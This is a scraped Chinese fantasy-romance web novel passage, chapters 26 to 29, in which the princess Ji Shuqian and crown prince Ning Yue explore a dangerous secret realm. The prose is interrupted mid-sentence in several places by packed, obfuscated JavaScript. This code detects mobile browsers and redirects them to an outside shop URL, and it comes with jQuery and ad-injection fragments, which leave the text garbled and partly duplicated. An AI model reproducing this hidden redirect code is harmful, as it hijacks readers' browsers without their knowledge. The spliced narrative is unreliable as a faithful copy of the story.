他垂下眼睫想到元容与和元祉,小时候格外喜欢粘着他,如今大了总归明白一些利害,何况兰妃恐怕在背后教唆。 不似曾经那般亲他,手足情渐渐淡了……但于他而言,还是他看着长大的弟弟们。 见大殿又是一片沉默,他垂下眼睫站起身:“父皇,儿臣愿去。” 神帝看着他笑了笑:“好,还有想去的吗?机会难得啊。” “父皇,儿臣愿去。”意想不到的身影立了起来,元祉微微垂下眼睫。 神帝看着他半晌,这个没什么存在感的小儿子居然提出要去,他点了点头:“好。” 坐在一侧的兰妃没料到元祉站了起来,一个劲儿给他使眼色,元祉当作没看见一样。 兰妃一时着急,神帝一旦应下就没有收回的机会了,她连忙站起身,一双媚眼柔柔看着神帝:“陛下,元祉无知,求陛下收回成命,以他的修为进去恐怕……” 一向宠她的神帝罕见地冷着声打断了她:“我意已决。” 他希望神族在六界的地位仅次于酆都,那就要向这六界展示神族皇室的实力,只有一个战无不胜的宁樾还远远不够……他要皇室的每一个人都如此。 至于性命……他后宫妃子无数,不缺皇子皇女……唯一忌惮的便是神后所出的宁樾和宁瑈,但他不担心宁樾会出事。 顿了顿,他一想到自己的各个皇子都能在秘境走一遭有所出息就龙颜大悦。 “容与你和元祉一起去吧。” 他话一出,兰妃娇美的脸都白了一刹,但她知道此时多嘴只会让陛下对她心生不满。 宁樾将她的神色收在眼底,微微皱眉,他没想到父皇为了神界出风头可以做的这么绝。 神后也有一瞬失神,头上的银丝金凤步摇晃了晃,她轻轻道:“陛下,神族的三位皇子都去,是否有些不妥啊。” 神帝看着她,肯定不会将将自己的野心昭告天下,他正色道:“槐江山秘境可是不可多得的历练机会,他们也需要锻炼一下自己。” 他话如此,神后也不再好多说什么,手指微微曲着在膝上轻叩。 元祉晦暗的眼眸看着神帝和神后,半晌轻轻勾起一个无人察觉的笑容。 - 季疏浅前脚回到寝殿,后脚墨语就来报她父皇让她回酆都。 她叹了口气,不知为何,她格外不想和她前世这位父皇对上。 派去寻找苏聿的人还没有回信,她就让林知意假装以侍卫的身份和她一齐回酆都。 凌霄殿内,她父皇已在王座上等她多时,季疏浅一看两旁列着的文官,深吸一口气走了进去。 “参见父皇。” “嗯。珈若,你怎么看这件事?”他直切入话题。 季疏浅默了一瞬:“父皇,儿臣以为,这件事神族太子并未有过失,如果此时退婚,反倒是显得我们落井下石。” 酆都大帝看着她片刻似是在权衡,片刻赞许地笑了笑。 “珈若说得有理,这件事就此作罢吧。” 周围的文官自是不敢反驳,大殿一片鸦雀无声,似乎只有她和她父皇两人,其余人静悄悄的与空气无异。 “下个月槐江山秘境开启, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746899|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珈若你选几个侍卫一起去吧。” “是。”季疏浅应下,没有丝毫意外。 一个颤颤巍巍的声音开口道:“帝君,老臣以为不妥。公主殿下是酆都唯一的继承人,不可有任何闪失啊。” 酆都大帝静静看着他,缓缓起身,居高临下看着众人。 “若是连秘境都走不出来,那就不配为我酆都的继承人。” 季疏浅垂下眼睫,紧握着出汗的掌心。 珈若除去酆都公主这一重身份,也是他的亲生女儿啊,她不是珈若便罢了……那曾经的她,在听到这般冷血的话时,可有心寒。 他们是父女,然后才是君臣啊。 高台上的君王看着没作声的季疏浅,神色闪过一分不忍,却又顷刻间烟消云散。 “等另几界将去的人呈上来时,我派人将名单给你一份。” “珈若,你身为酆都公主,自然要在秘境中多照拂其他几界的人,争取将所有人都带出秘境。” 一旁的墨语忍不住看了两眼珈若,见珈若毫无反应暗自叹了口气,她好不容易觉得去了一趟神界,自家公主鲜活了一点…… 季疏浅静静听完他说的话,只觉得可笑,为了维护所谓的酆都神威,甚至要让她把所有人的生死都揽下。 这是个什么道理?她猛地闭上眼睛,深吸一口气。 幸好,这只是皎月调,那个珈若已经死了。 如今的她,只会是季疏浅。 她抬眸,点了点头:“好,珈若不会辜负父皇所托。” 酆都大帝见她答应了,神情复杂一瞬,终是归于冰冷。 “那今日就这样吧。”各位文官默不作声地退下。 季疏浅沉了口气,头也不回地走了出去。 大殿空无一人后,一旁的侍卫扶着沉默不语的大帝走进了内殿。 他径直走到内殿外,一片布满卦象的星海闪烁,繁星当空奇异而美丽。 可美丽的表象下,是芸芸众生的生死。 仙侍看着他,还是说出了口:“帝君,公主她……看起来很难过。” 昊炀盯着星海,淡淡道:“身为酆都公主,这是职责所在。” “可是……可是帝君您真的舍得公主如此吗?” 舍得吗?昊炀轻笑一声,眼睫低垂……生在酆都,天道赋予了他们无上的力量……就注定要担上这六界的责任。 能力越大,责任就越大。 他也的确存了一份私心,酆都主掌六界万年,酆都神威不容任何人侵犯。 他看一眼浩瀚星海,风起云涌,那颗最亮的明星时不时闪动。 他闭上眼……留给珈若成长的时间已经不多了…… 季疏浅回到寝殿,闷着练了几日剑,苏聿还是没有下落,她和林知意都忍不住担心。 墨语提了一壶果茶进来,“殿下,这是去秘境的名单。” 季疏浅接过她递来的那张名字,不经皱起了眉。 神族居然将三位皇子的名字都写上了,还带了一大波神族子弟。而仙族呈上来的名字是——百里珧。 季疏浅一愣,修罗王居然曾是仙族人,真是越发有意思了。 人族也浩浩荡荡写了一大波人的名字,而妖族不仅报了虞戍的名字,还报上了虞落的名字。 季疏浅揉了揉太阳穴,若有所思地看着虞落的名字。 27. 槐江山秘境 逝水流年,秘境开放的时间转瞬到来。 “阿姐,苏聿的事就拜托你了。”进了秘境便无法和外界联系,季疏浅将此事托付给了林知意。 “好,是我带他来的天道山,怎么说都得我负责。”林知意一边往她的储物囊中塞着糕点一边有些愧疚地说。 她担心地看着季疏浅:“阿浅,凡事小心。”虽然在皎月调中受的伤对现实中的她没有伤害,但是仍能感受到痛感。 “放心吧,我走了阿姐。”季疏浅走前回头冲林知意念念不舍地笑了笑。 千年前的槐江山和千年后的槐江山真是有着天壤之别,季疏浅和墨语到达秘境入口时在心中暗自感慨。 这时的槐江山还没有那个令三界闻风丧胆的封印大阵,没有进入秘境已经能感受到其中蕴藏的充沛灵力。 山川连绵,层峦叠嶂。晴天低声呢喃,水墨色的云雾轻拂过黛山。参天神树一片郁郁葱葱,水汽氤氲其中,缥缈虚幻。 季疏浅看的入迷,片刻,担心的思虑涌上心头。 越是美丽迷人,就越是危险。 酆都的传送阵直达六界各地,因此季疏浅和墨语是最早到达秘境入口的。 他们正观察着秘境深处,背后传来一阵喧闹声。 “见过公主殿下。” 季疏浅转过身去,面前立着妖族两兄妹。 虞戍眼底仍含着一份殷勤,似乎没有放弃先前的打算。倒是一旁的虞落有些胆怯的抬头看了一眼,就迅速低下头道了一声:“公主殿下。” 她今日穿的不像在宴会上那般招摇,只着了一身暗红色戎装,将头发束起。 “嗯。”季疏浅也不想和他们多说,只看了一眼他们身后浩浩荡荡的妖族子弟。 虞戍见她神情微愣,有些不屑地笑道:“公主殿下,我妖族子弟都不是贪生怕死之辈,这些……可都是主动请缨要来的。” 季疏浅淡淡地看了他一眼,对这句话存疑,确是觉得这句话隐隐在内涵着神族。 碰巧神族到了,一句不咸不淡的声音传了过来:“乌合之众,反倒碍事。” 这句话明晃晃地将矛头对准了妖族,虞戍脸色铁青看向声音的来源,宁樾穿了一身玄色衣裳,栩栩如生的金龙点缀其上,墨发用发冠束起,菱角分明的脸庞如雕塑般冷峻。 他淡淡地看着虞戍,眼神似有一丝不屑。 季疏浅垂下眼睫,在心底轻笑,原来宁樾在做神族太子就这么张狂。 只是……神族太子时的宁樾是意气风发的天之骄子的狂傲,而千年后的魔尊是一种近似病态的疯狂。 她暗自想着,到底发生什么能让他改变这么大…… 虞戍太阳穴凸凸地响,偏偏还不能动怒,不然就是他自己对号入座了。 他心里升腾起一股怒火,皮笑肉不笑地打了个招呼:“太子殿下。” 他将目光移向季疏浅时,这股火气更是无处发泄。 因为今日季疏浅也穿了一身黑袍,甚至同样用金龙纹点缀。况且两人都相貌出众,带着上位者不怒自威的威严,看起来格外的……般配。 莫不是串通好了?他越想越气,拂袖而去。 季疏浅淡淡看他一眼,这是狗急跳墙了?全然不知他脑海中一通脑补。 宁樾顺着他的目光移到季疏浅身上,脱口而出地:“公主……”在看到季疏浅穿的衣服时猛地顿住。 他瞥了瞥季疏浅的衣袍,微微蹙起眉头,还是道:“公主殿下。” 季疏浅这时也反应过来两人的异常反应,不动声色地看了一眼自己的衣袍,面上有几分尴尬。 她只是图方便选了这个啊…… 她迅速转过身,看了看陆陆续续到齐的各族子弟,转移话题般地清了清嗓:“既然各位皆以到齐,那就准备进入秘境了。” 她挨个点了各族的领队,确认无误后顿了顿。 “我知今日前来秘境的都是各界的广泛天骄,但秘境中危险难测,在秘境中不可掉以轻心。” 季疏浅看着台下乌泱泱一片的子弟只觉得头大,这个酆都公主真不是这么好当的。 “昨日酆都已经将传音符发到各位手中了,在秘境中有紧急状况一定用传音符联系。各位谨记,性命为重。” 她转过身叹了口气,各界的子弟找他们的领队负责,她就要对领队负责了…… 墨语跟上她,随她一起率先进入秘境。 本来还在踌躇的各界子弟见他们俩眼都不眨地就进去了,皆是震惊。 宁樾看了看元容与和元祉,淡淡道:“神族子弟跟我走。”随后也带着众人进去了。 虞戍一看他进去了,那股胜负欲立马上来,咬着牙看着妖族子弟:“我们走。” 其实在宁樾说完他就后悔了,当时只图人多势众,但一想到这么一大群人的性命都系在他身上,他就两眼一抹黑。 凌霄殿内的各界帝君聚在一起,看着留影珠传来的情形。 妖帝讪讪地笑了笑,朝高座上的酆都大帝谄媚道:“酆都公主诸事安排的真是周全,这有了传音符他们在里面也能互相扶持。” 神帝和人皇也跟着附和道:“是啊,是啊,这些孩子就该这么团结起来。公主真是思虑周全……” 酆都大帝坐在神座上,面上表情虽未变化,但眼底深藏了一抹笑意。 季疏浅一踏进秘境,便和墨语被一股强大的力量扔到两地。 她反应过来时便意识到秘境会将所有人打乱,看来秘境中只能靠个人造化,每人都有自己的机缘这句话不假。 她一边用传音符联系墨语,一边打量着周围。 不知运气是好是坏,她到了一片森林中,看起来就是秘境外看到的那片森林。 这边传音符有了动静,墨语急急的声音传来:“殿下,您在哪里?” “我到了一片森林,你呢?”季疏浅有些担心墨语,尽管皎月调中的一切都是假象,但这么多日的相处,她和墨语这个心思单纯的小姑娘也算是知己了。 哪怕她改变不了结局,她也希望尽自己可能,让他们多在这假象中留存一会儿,至少这会儿的他们仍是活生生的人,也有自己的七情六欲。 墨语声音透出淡淡疑惑,“我到了一片废墟……类似于旧城址。” 旧城址? 季疏浅看向幽深的森林,目光有些莫测。她料到秘境不仅仅是表面看到的那般简单,但没料到槐江山以前居然有古国存在。 她默了片刻:“墨语,一切小心。” 墨语听见一向冷冷淡淡的殿下居然罕见地流露出一丝关切,紧张都少了许多,不由笑起来:“好,殿下,您也是。” 季疏浅叹了口气,要是她有自己前世的全部记忆就好了,至少能知道秘境里发生了什么……可惜那天偶然梦到一个片段后她就再也没有做过这种梦。 她想了想举起传音符,给进入秘境的各界子弟留了一句话:“在秘境中大家会被打乱……秘境之中,无论平日立场如何,现在我们大家都站在同一个立场上。希望大家能互相帮扶,也无需惊慌,一切小心。” 话毕,她垂下眼睫暗自叹了口气。话谁都会说,可秘境中的秘宝总不会让所有人人手一件,在明在暗都会有争抢发生……这也是她最担心的——没有败在秘境的关关险境中,却输给了人性。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746900|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季疏浅观望着四周,向森林深处走去。 这是一片看起来长得十分茂密的神树林,参天神树蔽日,不见一缕天光。她走到一棵神树旁,轻轻抚上古老的神树,树影婆娑,斑驳光影印在她手上。 淡淡灵力从她掌心涌出,灵力缠绕住树干,片刻灵力消散在树干周围。 季疏浅愣了愣,这树果然有问题。她本来只是想看看这树有几千年了,推断这片森林的时间,却不想自己缠绕的灵力居然被这个树尽数吸收了进去。 她下意识后退两步,离这棵树远了一些。树顶突然传来窸窸窣窣的声音,一片片绿叶似是有了生命,突然晃个不停。 她下意识抽出了虚华剑,警觉地看向四周。窸窸窣窣的声音渐渐有些刺耳,变成了一道道婴孩的啼哭声,回荡在森林里。 季疏浅突然意识到,这种声音对她没有影响,但对一般的弟子来说却可以扰乱心智,足以让他们在这片森林中乱了方寸。 她在心底轻笑一声,你们把这招用在我身上,那可是白费力气了。 她没有多做停留,继续向深处走去。正前方一棵巨树拦住她的去路,这棵树比先前所有的树都更要繁茂,交错纵横的枝干张牙舞爪地拼凑出一副空中地图。 季疏浅害怕一旦碰到这些枝叶,便会被汲取灵力。毕竟依着这棵树的长势,极有可能是获得了大量灵力。 她忽然看向树上挂着的一个个树叶包裹的“蚕蛹”,不由皱起眉。树上挂着几十个大大小小的“蚕蛹”似的东西,她凝神盯着“蚕蛹”,催动灵力到虚华剑上,准备划开来看看。 “蚕蛹”似乎明白了她心中所想,还没等她动手,便在空中剧烈摇晃。 “哗啦啦”几声,包裹“蚕蛹”的树叶瀑布般落在地上,露出它的真面目,竟是一根根粗壮的树枝蜿蜒缠绕而成的。 有什么东西在“蚕蛹”里挣扎,季疏浅看着这一动静,紧紧握住了虚华。 一个个包裹严实的“蚕蛹”被一点点撕裂开,一双双狰狞如枯骨的手从里面伸出,顺势扒开整个“蚕蛹”。 季疏浅看清了从“蚕蛹”中破壳而出的枯骨似的人,他们的皮紧紧贴在骨头上,本该放着眼珠子的地方只余下两个空空的大洞。 这些“人”似乎还没有习惯走路,只在原地拖着扭曲的骨骼“吱吱”作响。 季疏浅带着些惋惜看着他们,他们大多数衣物均已不见踪影,极少数身上残留着一些衣物。 这些衣物也昭示着他们的身份——千年前进来的各界弟子们。 她心下了然,看来那阵婴儿的啼哭声目的就是为了让他们乱了方寸,趁着他们神魂未定之时用树干将他们缠绕住,吸干灵力成为现在的一副枯骨样。 在她思考之际,这些“人”慢慢习惯了身躯,扭动着身体慢慢前来,甚至有几个步履渐渐快了起来。 不过季疏浅早就想好了对策,她刚刚瞧着这些“人”没了眼睛,那就只能通过气息或者声音,要不就是这棵树的指令来寻找“猎物”。 她双手交叠,淡淡荧光在她身旁凝成了一个保护罩,隐去了她这个人的存在。 一群浩浩荡荡的“人”缓缓步来,尽管她有些把握,还是心跳漏了一拍。 幸好只有为首几个“人”路过她身边时顿了顿然后离开,其他似乎都没察觉到她。 她正缓过一口气,就见到这群“人”突然朝着某个方向迅速奔去,几乎是以某种提线木偶般的方式过去的。 她呼吸滞了一瞬,难道有其他弟子也来到了这里,被他们当做了“猎物”吗? 没有过多犹豫,她提着虚华剑跟了上去。 ? 28. 相遇 她跟在他们身后,无数道凌厉剑气似流星般突然划破森林,直直插入每一个“人”的胸膛。 一时间,所有“人”僵在了原地,渐渐地像是被抽去了支撑皮囊的骨头,软绵绵地一个接一个摊在了地上。 好剑法,季疏浅在心里默默夸道。 枯骨般的人接二连三地倒下,视线穿过重重森林,她看到了执着玄天剑的黑袍男子——宁樾。 她看了看倒在地上的“人”,解开了身上的术法。 宁樾也在此时看到了她,穿过密林的目光带着一丝探究,他锋利的眉毛微微皱起。 并非信不过她,只是秘境中的一切都有可能是假象。 他眼眸漆黑,犹豫一瞬还是迈步朝她走来。 季疏浅知道他心中所想,不过她不担心宁樾有假。 刚刚的剑气足以说明一切。 “公主殿下?”宁樾有些怀疑地看她一眼,不过目光瞥到了她手上拿着的虚华剑,那份怀疑便瞬间烟消云散了。 “太子殿下,你也是被扔到这里来的吗?”季疏浅见他怀疑之色消散,也就不需要自证身份了。 “嗯,路过了一片树林会发出声音干扰神智。”他一边说一边留意着四周的变化。 “我也是,路过那片树林就看到了这些。”她朝地上东倒西歪的“人”扬了扬眉。 宁樾若有所思地点了点头,正色看着她:“公主殿下,一起走如何?” 季疏浅见他有几分严肃,想了想,这秘境能碰上自己人的几率还挺小,况且宁樾肯定不会拖她后腿,互相有个照应,倒是个好方法。 她点了点头:“好。” 一拍即合后,季疏浅想了想走到一旁的树边,将虚华转了个剑花,在树上留下一个巨大的十字标志。 “留个标志吧,不要在这片森林里绕路了。” 宁樾点点头表示赞同,随即问道:“你的那位侍卫呢,她去了哪里?” “一个旧城址,你听说过槐江山一带有古国吗?”季疏浅终于找到了人问出自己的疑问。 宁樾顿了一瞬:“那要追溯到万年前了吧,千年来这里一直作为秘境,应该不会有国度存在。” 季疏浅抿起唇,难道是海市蜃楼? “元容与到了一片戈壁滩,元祉到了剑冢,现在知道的已经有四种地方了。” 季疏浅点了点头,她很想告诉他——你不用担心元容与,他肯定能好好的活到千年后。 他们一路刻下标记,虽说周围的森林大同小异,可他们一路都没遇到先前刻下的标志,那说明他们没有在里面兜圈子。 不知过了多久,四周突然弥漫浓浓的白雾,他们俩对视一眼,季疏浅先开了口:“你觉不觉得,这片森林的树叶颜色要深许多。” 周遭的树林因着树叶墨绿近乎到黑色,显得格外昏暗。 宁樾仰头看了一圈:“的确……” 他话音刚落下,两人都迅速察觉到环境的变化,不约而同的说了一句:“小心!” 一根粗壮的藤蔓自两人背后袭来,卷起一阵凉风,两人立马旋身躲开。 季疏浅不知道是不是自己错觉,刚刚宁樾好像在背后推了她一把,将她推到一旁…… 藤蔓猛地撞上面前的一棵巨树,将巨树生生掏出一个大洞。见两人避开,藤蔓似乎有些恼羞成怒,瞬间分裂成三根,从几侧袭来。 藤蔓带起砂石,他们俩皆是剑锋一转,朝藤蔓劈去。 两道剑气斩断了藤蔓,但那藤蔓似乎愈合力格外强悍,断掉的一截静静躺在地上,剩下的一截迅速换了个方向朝他们俩袭来。 季疏浅瞧着那藤蔓直直朝她而来,使力一蹬,身子贴近地面向后倒飞出去。虚华被她转的宛如游龙,带着细微的闪电,将藤蔓斩断成一小节一小节。 她在心里轻哼,看你还怎么闹腾。 宁樾也迅速将玄天收起,侬丽的双眼微微眯起,双掌燃起幽蓝色火焰,一道道火龙从他掌心窜出,急如闪电,迅速裹上藤蔓。 滋啦滋啦几声,将藤蔓尽数烧成了灰烬。 周围终于安静下来,季疏浅和宁樾相视一笑,算是又过了一关了。 藤蔓如遇洪水猛兽一般,迅速退去,他们俩交换了一个眼神决定跟上。 很快他们俩就看见了藤蔓的老巢——一座遍布嶙峋怪石的山脚下的洞穴,洞穴隐约有习习凉风吹来。 季疏浅正犹豫要不要进去看看,一道有力的声音传来:“怕吗?” 怕?季疏浅诧异地侧头看着他,先不说她本身就见过无数的恶鬼,就是现在这个身份,也和怕没有关系吧。 她觉得有些好笑:“你为什么觉得我会怕?” 宁樾沉默地看着她,淡淡道:“说到底你也只是个小姑娘。” 季疏浅顿住了,没料到他会这么说。突然心生几分讽刺,珈若在一个小姑娘的年龄便被父皇推去上刀山下火海,炼狱不知走了几遭。 而这一世的她,在天道山亦是血雨腥风中厮杀。 两世,宁樾是第一个这么说的人。 尽管感慨万分,她面上也不能表露出来,她长长的眼睫颤了颤。 “宁樾,我是酆都唯一的继承人,任何时候,我的身份都不允许脑海里有怕这个字。” 见宁樾沉默不语,季疏浅径直走向洞穴。 洞穴内漆黑一片,他们俩各自从掌心中亮起一团光,瞬间照亮了整条通道。 通道狭窄,刚好够他们俩人并排行走,走了百步后,眼前豁然开朗。 一个巨大的洞厅出现在他们眼前,造型各异的石柱立于洞内。隐隐约约有滴答滴答的水滴声传来,他们朝声音来源看去。 洞厅深处,有一颗幽绿色的巨大“心脏”,不断滴答着绿色的汁水,几根细细的藤蔓穿透“心脏”的薄膜露出了尖角。 “有妖气。”季疏浅看了它一会儿做出了判断。 宁樾点了点头,化出一把燃着烈火的弓箭,左手执弓,右手凭空向后缓缓一拉,一支冒着炽热火焰的箭矢势如破竹地冲去。 季疏浅拧着眉看向被箭射中的“心脏”,火焰肆虐,将它一点点焚烧殆尽,洞穴中传来痛苦的呻吟声。 “是树妖的母体,怕火。”宁樾恍若无事地收起弓箭。 季疏浅垂下眼睫,这么看来树林里那些树妖都是这母体的手笔了。树妖母体被焚尽后露出了一条长长的通道,比他们来时的通道宽多了。 “沿着那个通道,说不定能走出这片森林。”季疏浅看了一眼宁樾。 “好。” 待他们走进通道后,季疏浅在心里倒吸了一口凉气,这通道怕是用尸骨垒起来的。 通道上爬着蜿蜒的藤蔓,藤蔓中是森森白骨,累累的白骨堆了满墙。 宁樾瞥了一眼季疏浅,见她神色淡定便靠近墙边,用手轻轻点了点藤蔓。 “……这些藤蔓已经死了……”他的语气听起来并没有庆幸的意味,反而有一丝担心。 “而且,死了很久了。” 季疏浅明白了他的担心,这树妖死了很久了,但刚刚却还是一副活着的样子,甚至引着他们进了这条通道。 明显是有什么东西制造了这假象,故意引诱他们。 季疏浅和宁樾对视一眼,迅速向后退,“砰”的一声,来时的通道已然被封上。 “呃,那就只能往前走了。”季疏浅叹了口气,虽然这样明显是着了道,但也只有这条路可以走了。 宁樾点了点头,目光一顿,他的传音符亮了。 他举起传音符:“容与?” 传音符传来元容与兴奋的声音:“哥,你猜我找到什么了?” 他话音落下两人皆是一顿。 宁樾惊讶是因为他这么快就找到秘宝了,季疏浅惊讶是因为元容与居然对宁樾这么亲近…… 她可是记得宁樾杀他一点都不手软啊。 “我找到几本上古时代的剑术秘籍,哥你修剑肯定用得上……还有一个翠绿色的手镯,不过看起来没啥特别的,我还是拿上了” “哥我觉得我运气可好了,我就进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她皱了皱眉,双手已传来微微灼烧的痛感,哪怕是有水波护着。 魔焰滚滚不停,似乎无穷无尽,她扭头看了看洞窟的一端——魔焰传来的地方。 宁樾察觉到她的目光,抵住季疏浅的左手握住玄天,狠狠朝那个方向一送。 季疏浅也抓住机会,将灵力晕开,顿时整个通道被淡淡冰霜覆上。她趁机用虚华朝着魔焰的方向补上一剑。 通道的另一端什么东西吃痛,魔焰缓缓褪去。 宁樾收回玄天剑,打量着没有丝毫血迹的玄天。 季疏浅不动声色地移到宁樾背后,然后看清了他血迹斑斑的后背,愣了一瞬。 “宁樾,疼……吗?” 季疏浅看着他已经血肉模糊的后背,心头涌上淡淡的异样情绪。 宁樾不甚在意:“没事,一会儿就好了。” ……季疏浅默默想着,她怎么记得裴祉告诉过她魔焰会留疤。 终究是没忍住:“宁樾……魔焰会留疤,出了秘境,我找人给你送些药来。” “魔焰?”他皱眉看向季疏浅。 季疏浅突然反应过来,这时的宁樾应该不认识这魔焰……而且,她在心中疑惑,千年后三界皆知只有宁樾一人能操控魔焰。 那这魔焰从何而来? “嗯,之前见过。”季疏浅也没瞒他,只是看向了玄天剑:“能给我看看吗?” 宁樾将玄天递给了她,眼神越发幽深:“公主,我们可能碰上大麻烦了……” 季疏浅打量着玄天,双指抚上玄色剑身,闭上双眼感受着上面残存的气息,她猛地睁开眼:“是恶鬼。” “对。”宁樾沉着声说道:“我曾听说这魔焰只有恶灵会用……” “可是这世上的三只恶灵不是都被封印了吗?”季疏浅打断他。 29. 第四只恶灵 恶灵由无数的恶鬼凝聚而成,是世间至恶的存在。诞生于上古时期,被酆都的第一位大帝镇压,从此酆都便世代镇压着三只恶灵。 世人一直无法将其彻底消灭,传说中只有至纯的灵力能将其彻底从六界抹去。 季疏浅沉默一阵,如果魔焰只有恶灵能操控,那后来的宁樾又算什么? “可能是比较厉害的恶鬼。”宁樾也沉默片刻。 季疏浅点了点头,握紧虚华:“那就只能上了。” 他们一路格外警觉地顺着通道走出去,眼前渐渐开阔,又是一个极大的洞厅。 这一个洞厅比前一个更大,甚至一眼望不到底。沿着通道走出来,他们到了一块不算平整的高台上。 季疏浅四处打量一下看向宁樾:“我们在这个洞穴石壁的中间。” 他们身处的这块平台无端从岩壁上延伸出来,挂在岩壁中间。 宁樾朝下看了看,洞厅内居然有一个巨大的湖,洞厅内昏暗不见日光,湖面一片漆黑,深不可测。 季疏浅看了看他,心中哀叹,现在真是进退两难了……恶鬼说不定就在水下。 她犹豫一瞬拉了拉宁樾的袖子:“宁樾,我们要不在这个台上等等吧,敌人在暗我们在明,贸然进湖里恐怕不妥,况且我们也不熟悉水面之下有什么。” 宁樾思考一瞬觉得她说的有理,想了想,抬手将他们的来路用结界封上,以防被前后夹击。 季疏浅已经靠着一处石壁坐下,凝神运转自己的内力,想看看自己能不能将冰系术法再练练,若魔焰再次袭来,她一定要灭掉魔焰的势头。 宁樾也在她身旁跟着坐下,微微蹙起眉头,背后的伤还是有些难忍的。 他闭上眼默默想着,魔焰的伤会留疤,说不定像他这种愈合能力很强的神一时半会也好不了。 季疏浅感受到身旁之人的气息有些紊乱,她还是忍不住担心地睁开眼,看着宁樾的脸色微微发白。 她突然想起什么,拿出自己的储物袋,从里面掏出了一瓶止痛药——是她在走之前林知意塞给她的,她还真没想到这么快就用上了。 她瞧着宁樾的神色不太好,轻轻喊道;“宁樾,我这里有止痛药。” 宁樾睁眼就瞧见平日里格外疏离的少女难得带了几分关切,眼神微微凝住,伸手接住了她递过来的那瓶药。 “多谢。” “没事。”季疏浅有几分纠结地蜷起指头,“谢谢你护着我,其实……下次你不用这样。” 宁樾看着她,突然一笑,低低道:“让我的未婚妻受伤了,传出去可不好。” 季疏浅呆呆看着他,表情呆住。他刚刚说什么?真不害臊啊。 宁樾看着她的表情笑了笑,低下头拧开瓶盖……只有他这么说一句她才不会那么愧疚吧。 季疏浅也突然反应过来他这句话的用意,心头一暖。犹豫了片刻,她从储物袋里摸出了一袋点心。 然后看着满满一袋点心呆住了,她没料到阿姐居然装了这么多。 宁樾看着她从储物袋里掏出一大袋点心时也愣了一瞬。心中偷笑,居然和宁瑈一样喜欢随身带点心。 “你……要吃点吗?”季疏浅递了一个糯米做的雪白的小团子给他。 宁樾神情有一瞬间的惊愕,手指弯了弯,接过了那块点心。 季疏浅见他接过点心,也从袋子里拿出一块糯米糍塞到嘴里。 她没注意到在她腮帮子鼓鼓的时候,宁樾一脸诧异地看着她。 她一抬头就对上了宁樾的目光,一双杏眼睁得圆圆的。 季疏浅总觉得他俩现在的气氛怪怪的,一点没有身处险境的危机感。恐怕水下的恶鬼看见他俩这么惬意,得气个半死。 “宁樾,你查出来上次给你下药的源头了吗?”她突然想起先前他身上那股若有若无的果香味。 “查出来了,上次小瑈刚换的香料被人调了包,兰花园中的香味是诱因。”他轻描淡写地几句带过。 季疏浅瞧了瞧他的神色,他似乎不愿再提这件事了。 想想也是,宁樾被下的是那种药,换个人应该也不想再提起。 糯米糍包着的红糖甜甜的,将她思绪拉回在广陵城时带着宁樾吃小吃时。再看看眼下,明明是同样的两个人,却又像截然不同的两个人。 “宁樾你以后不用叫我公主殿下,多拗口。” 她想了想:“我有个小名,叫疏浅。” “你以后叫我疏浅吧。” 宁樾看着眼前的少女,他失笑反问:“为什么不是珈若呢?” “嗯……我更喜欢疏浅这个名字。”季疏浅犹犹豫豫地随口编道。 因为打心底里她觉得自己和珈若就是两个人,出于一种异样的情绪,她希望能在皎月调中以季疏浅和朋友们相识。 宁樾显然没有相信她的说辞,只是低下头应了一声“好”。 他看向季疏浅,疏浅这个名字还挺适合她的,看起来冷淡孤傲,实际上还是没有泯灭少女的一点俏皮。 不知过了多久,水面还是没有动静,因着前世和恶鬼打过交道,季疏浅转头看向宁樾。 “宁樾,这只恶鬼很有可能生出了灵智,它既然想的出那种法子诱惑我们进来,应该也知道我们俩此时的打算。” 宁樾沉默的看着她,不一会儿勾起唇角:“先往深处走走?” “好。”季疏浅应下,居然和她不谋而合了。 她凌空一点,从平台处延伸出一个灵力织就的屏障。 “走吧。” 季疏浅看了看宁樾,他漫不经心地拿着玄天,在手中转了一圈。 她想了想也将虚华握在了手中。 这个洞厅格外大,一眼望不见底,黑黝黝的深处仿佛一个巨大的漩涡,将一切光明吞噬殆尽。 宁樾左手亮起一个光团,他将光团抛到洞顶,瞬间照亮了整个洞厅。 原来黑漆漆的湖面露出了真面目,似翡翠般的水面无一丝波澜。季疏浅和宁樾对视一眼,皆是沉着脸没作声。 约莫一炷香过去,两人走到了尽头,这个洞果然只有一条出口——他们的来路。 季疏浅叹了口气,突然听到身后水花哗啦啦的声响,猛地转过身去。 一个巨大的约几十米高的黑影一点点从水面冒出,在水面带出一个巨大的漩涡。 黑影浑身笼罩着黑色雾气,模糊了它的五官,只隐约能看出它不只一只手,就像放大版的模糊恶鬼。 季疏浅执剑在面前结出一个淡蓝色的结界,护住她和宁樾。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 黑影见状,发出咯吱咯吱的怪笑声,回荡在洞厅内。 